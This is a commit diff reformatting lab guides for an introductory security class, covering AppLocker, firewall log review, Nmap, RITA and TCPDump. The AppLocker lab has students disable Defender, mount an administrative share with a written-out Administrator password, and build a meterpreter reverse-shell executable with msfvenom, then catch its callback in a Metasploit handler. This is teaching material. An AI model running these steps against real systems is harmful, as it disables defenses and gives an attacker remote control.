Skip to content

Commit 35798c5

Browse files
authored
Merge branch 'master' into timscreenshotupdates
2 parents a97ca42 + 80eb779 commit 35798c5

File tree

8 files changed

+109
-199
lines changed

8 files changed

+109
-199
lines changed

IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md

Lines changed: 21 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -1,101 +1,74 @@
11

22
# AppLocker
33

4-
54
Applocker Instructions:
65

7-
Let’s see what happens when we do not have AppLocker running. We will set up a simple backdoor and have it connect back to the Ubuntu system. Remember, the goal is not to show how we can bypass EDR and Endpoint products. It is to create a simple backdoor and have it connect back.
6+
Let’s see what happens when we do not have **AppLocker** running. We will set up a simple backdoor and have it connect back to the **Ubuntu** system. Remember, the goal is not to show how we can bypass **EDR** and **Endpoint** products. It is to create a simple backdoor and have it connect back.
87

9-
Before we begin, we need to disable Defender. Start by opening an instance of Windows Powershell. Do this by clicking on the Powershell icon in the taskbar.
8+
Before we begin, we need to disable **Defender**. Start by opening an instance of Windows **Powershell**. Do this by clicking on the **Powershell** icon in the taskbar.
109

1110
![](attachments/OpeningPowershell.png)
1211

13-
Next, run the following command in the Powershell terminal:
12+
Next, run the following command in the **Powershell** terminal:
1413

15-
<pre>Set-MpPreference -DisableRealtimeMonitoring $true</pre>
14+
`Set-MpPreference -DisableRealtimeMonitoring $true`
1615

1716
![](attachments/applocker_disabledefender.png)
1817

1918
This will disable Defender for this session.
2019

21-
If you get angry red errors, that is Ok, it means Defender is not running.
20+
If you get angry red errors, that is ==**Ok**==, it means **Defender** is not running.
2221

23-
Let’s get started by opening a Kali instance.
22+
Let’s get started by opening a **Kali** instance.
2423

2524
![](attachments/OpeningKaliInstance.png)
2625

27-
Alternatively, you can click on the Kali icon in the taskbar.
26+
Alternatively, you can click on the **Kali** icon in the taskbar.
2827

2928
![](attachments/TaskbarKaliIcon.png)
3029

31-
####NOTE#####
32-
33-
If you are having trouble with Windows Terminal, you can simply start each of the three shells, we use by starting them directly from the Windows Start button.
34-
35-
36-
37-
Simply click the Windows Start button in the lower left of your screen and type:
38-
39-
40-
41-
`Powershell`
42-
43-
or
44-
45-
`Ubuntu`
46-
47-
or
48-
49-
`Command Prompt`
50-
51-
52-
53-
For PowerShell and Command Prompt, please right click on them and select Run As Administrator
54-
55-
###END NOTE###
56-
5730
Let's start by getting root access in our terminal.
5831

59-
<pre>sudo su -</pre>
32+
`sudo su -`
6033

6134
Next, lets run the following command to get our IP address:
6235

63-
<pre>ifconfig</pre>
36+
`ifconfig`
6437

65-
Please note the IP address of your Ethernet adapter.
38+
==**Please note the IP address of Y-O-U-R Ethernet adapter.**==
6639

6740
![](attachments/applocker_ifconfig.png)
6841

69-
Please note that my adapter is called `eth0` and my IP address is `10.10.1.117` Your IP Address and adapter name may be different.
70-
71-
Remember this IP by writing it down, etc.
42+
Please note that my adapter is called **"eth0"** and my IP address is **"10.10.1.117"** Your IP Address and adapter name may be different.
7243

7344
First, we need to run the following command in order to mount our remote system to the correct directory:
7445

75-
<pre>mount -t cifs //10.10.1.209/c$ /mnt/windows-share -o username=Administrator,password=T@GEq5%r2XJh</pre>
46+
`mount -t cifs //10.10.1.209/c$ /mnt/windows-share -o username=Administrator,password=T@GEq5%r2XJh`
7647

77-
Now, run the following commands to start a simple backdoor and backdoor listener:
48+
Run the following commands to start a simple backdoor and backdoor listener:
7849

79-
<pre>msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR LINUX IP> lport=4444
80-
-f exe -o /tmp/TrustMe.exe</pre>
50+
`msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR LINUX IP> lport=4444
51+
-f exe -o /tmp/TrustMe.exe`
8152

8253
`cd /tmp`
8354

8455
`ls -l TrustMe.exe`
8556

86-
8757
`cp ./TrustMe.exe /mnt/c/tools`
8858

59+
Let's start the **Metasploit Handler**. First, open a new Ubuntu Terminal by clicking the down carrot then selecting Ubuntu-18.04.
8960

90-
Now, let's start the Metasploit Handler. First, open a new Ubuntu Terminal by clicking the down carrot then selecting Ubuntu-18.04.
61+
This is what your terminal will look like before getting root.
62+
63+
==root@DESKTOP-I1T2G01:/tmp#== `msfconsole -q`
9164

9265
Let's become root.
9366

9467
`sudo su -`
9568

96-
root@DESKTOP-I1T2G01:/tmp# `msfconsole -q`
69+
==msf5== > `use exploit/multi/handler`
9770

98-
msf5 > `use exploit/multi/handler`
71+
The Metasploit Handler successfully ran if the terminal now starts with "**msf5**"
9972

10073
msf5 exploit(multi/handler) > `set PAYLOAD windows/meterpreter/reverse_tcp`
10174

@@ -107,7 +80,6 @@ Remember, your IP will be different!
10780

10881
msf5 exploit(multi/handler) > `exploit`
10982

110-
11183
It should look like this:
11284

11385
![](attachments/Clipboard_2020-06-12-12-46-10.png)
Lines changed: 22 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,51 +1,51 @@
11

22
# Firewall Log Review
33

4-
In this lab we will be looking at a log from an ASA firewall from Cisco.
4+
In this lab we will be looking at a log from an **ASA firewall** from Cisco.
55

6-
And wow.... They are bad to work with.
6+
**And wow.... They are bad to work with.**
77

8-
However, with the power of Bash scripting we can get some useful information.
8+
However, with the power of **Bash scripting** we can get some useful information.
99

10-
Let’s get started by opening a Kali Instance.
10+
Let’s get started by opening a **Kali** Instance.
1111

1212
![](attachments/OpeningKaliInstance.png)
1313

14-
Alternatively, you can click on the Kali Logo in the taskbar.
14+
Alternatively, you can click on the **Kali Logo** in the taskbar.
1515

1616
![](attachments/TaskbarKaliIcon.png)
1717

1818
Let's start by gaining root access by running the following:
1919

20-
<pre>sudo su -</pre>
20+
`sudo su -`
2121

2222
Next, we can run the following:
2323

24-
<pre>sudo apt install r-base-core</pre>
24+
`sudo apt install r-base-core`
2525

26-
Next, let's get your Linux system to do some math!
26+
Next, let's get your **Linux** system to do some math!
2727

2828
First, we need to navigate to the correct directory with the following command:
2929

30-
<pre>cd /opt/firewall_log</pre>
30+
`cd /opt/firewall_log`
3131

32-
Now, let's look into the logs. The logs file is quite extensive, so in order to narrow our scope, we will use `grep`.
32+
Now, let's look into the logs. The logs file is quite extensive, so in order to narrow our scope, we will use **"grep".**
3333

34-
<pre>grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | less</pre>
34+
`grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | less`
3535

3636
![](attachments/fwlr_lessasa.png)
3737

38-
That is a nightmare....
38+
**==That is a nightmare....==**
3939

4040
Not only is there a ton of information here, you might now feel like you are stuck in your terminal window.
4141

42-
No worries though, just hit `q` to return to your terminal.
42+
No worries though, just hit **"q"** to return to your terminal.
4343

4444
Let's refine the output a little more by running the following command:
4545

46-
<pre>grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14</pre>
46+
`grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14`
4747

48-
This command focuses on the closed connections (FIN) and pull just specific fields out of the data to clean it up. We use cut with the -d switch to specify the delimiter, which is a space. Then, we tell it what fields, or columns of the output, we are interested in.
48+
This command focuses on the closed connections **(FIN)** and pull just specific fields out of the data to clean it up. We use cut with the **"-d"** switch to specify the delimiter, which is a space. Then, we tell it what fields, or columns of the output, we are interested in.
4949

5050
When put together, our output looks something like this:
5151

@@ -58,30 +58,32 @@ If you look at our previous output, you may notice that outside connections are
5858

5959
So why don't we look at just the connections made to `13.107.237.38` by running the following command:
6060

61-
<pre>grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 13.107.237.38 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14</pre>
61+
`grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 13.107.237.38 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14`
6262

6363
![](attachments/fwlr_grep13107.png)
6464

6565
This output shows us all of the data coming from `13.107.237.38`
6666

6767
Don't forget, there were also a lot of connections from `18.160.185.174`. Here, let's zoom in on that IP as well:
6868

69-
<pre>grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14</pre>
69+
`grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14`
7070

7171
![](attachments/fwlr_grep18160.png)
7272

7373
Look at the last field. See a pattern? Is there one? Let's see just that field!
7474

75-
<pre>grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 14</pre>
75+
`grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 14`
7676

7777
All we should see now is this:
7878

7979
![](attachments/fwlr_f14.png)
8080

8181
Now let's do some math in that field!
8282

83-
<pre>grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 8,14 | tr : ' ' | tr / ' ' | cut -d ' ' -f 4 | Rscript -e 'y <-scan("stdin", quiet=TRUE)' -e 'cat(min(y), max(y), mean(y), sd(y), var(y), sep="\n")'</pre>
83+
`grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 8,14 | tr : ' ' | tr / ' ' | cut -d ' ' -f 4 | Rscript -e 'y <-scan("stdin", quiet=TRUE)' -e 'cat(min(y), max(y), mean(y), sd(y), var(y), sep="\n")'`
8484

8585
Your output should look something like this:
8686

87-
![](attachments/fwlr_math.png)
87+
![](attachments/fwlr_math.png)
88+
89+
There are a lot of commands you can use to alter your view of the logs.

IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md

Lines changed: 6 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
# Host Firewalls and Nmap
33

4-
In this lab we will be scanning your Windows system from your Linux terminal with the firewall both on and off.
4+
In this lab we will be scanning your **Windows** system from your **Linux** terminal with the firewall both on and off.
55

66
The goal is to show you how a system is very different to the network with a firewall enabled.
77

@@ -11,7 +11,7 @@ Let's get started by opening a command prompt terminal. You can do this by click
1111

1212
![](attachments/openingcommandprompt%20-%20Copy.png)
1313

14-
####NOTE#####
14+
From the command prompt we need to get the IP address of your **Windows** system:
1515

1616
If you are having trouble with Windows Terminal, you can simply start each of the three shells, we use by starting them directly from the Windows Start button.
1717

@@ -53,7 +53,7 @@ Alternatively, you can click on the Kali logo in the taskbar.
5353

5454
![](attachments/TaskbarKaliIcon.png)
5555

56-
Next, let’s become root:
56+
Let’s become root:
5757

5858
<pre>sudo su -</pre>
5959

@@ -69,12 +69,11 @@ It should look like this:
6969

7070
Please note the open ports. These are ports and services that an attacker could use to authenticate to your system. Or, attack if an exploit is available.
7171

72-
73-
Now, let’s go back to the Windows command prompt, by clicking the icon in the taskbar.
72+
Let’s go back to the Windows command prompt, by selecting the Administrator: Command Prompt tab.
7473

7574
![](attachments/openingcommandprompt%20-%20Copy.png)
7675

77-
Now, let’s enable the Windows firewall:
76+
Let’s enable the Windows firewall:
7877

7978
<pre>netsh advfirewall set allprofiles state on</pre>
8079

@@ -84,7 +83,7 @@ Now, let’s rescan from the Kali terminal. You can navigate back to it by press
8483

8584
![](attachments/TaskbarKaliIcon.png)
8685

87-
Then, rerun the scan
86+
Rerun the scan
8887

8988
<pre>nmap 10.10.1.209</pre>
9089

@@ -96,16 +95,8 @@ It should look like this:
9695

9796
![](attachments/nmap_nmapscanwfirewall.png)
9897

99-
10098
Now, using the same process as before, let’s disable the Windows firewall to go back to the base state:
10199

102100
<pre>netsh advfirewall set allprofiles state off</pre>
103101

104102
![](attachments/nmap_turnbackon.png)
105-
106-
107-
108-
109-
110-
111-

IntroClassFiles/Tools/IntroClass/RITA/RITA.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ First, open File Explorer:
1212

1313
![](attachments/OpeningFileExplorer.png)
1414

15-
Then, select the tools directory:
15+
Then, select the IntroLabs directory:
1616

1717
![](attachments/rita_navintrolabs.png)
1818

IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md

Lines changed: 1 addition & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -13,29 +13,6 @@ Alternatively, you can click on the Kali logo in the taskbar.
1313

1414
![](attachments/TaskbarKaliIcon.png)
1515

16-
==####NOTE#####==
17-
18-
If you are having trouble with **Windows Terminal**, start each terminal directly from the** Windows Start button**.
19-
20-
Click the Windows Start button in the lower left of your screen and type the following.
21-
22-
23-
`Powershell`
24-
25-
or
26-
27-
`Ubuntu`
28-
29-
or
30-
31-
`Command Prompt`
32-
33-
34-
35-
For PowerShell and Command Prompt, please right click on them and select **Run As Administrator **
36-
37-
==###END NOTE###==
38-
3916
First, we need to get into the root shell.
4017

4118
` sudo su - `
@@ -103,7 +80,7 @@ Lets dig into the packet with the timestamp of 08:14:32.638976
10380

10481
![](attachments/tcpdump_powershell.png)
10582

106-
Ouch, it looks like **PowerShell**!!! A favorite of attackers and pentesters alike. Furthermore, it looks like there is **Base64** data.
83+
Ouch, it looks like **PowerShell!!!** A favorite of attackers and pentesters alike. Furthermore, it looks like there is **Base64** data.
10784

10885
![](attachments/tcpdump_base64.png)
10986

0 commit comments

Comments
 (0)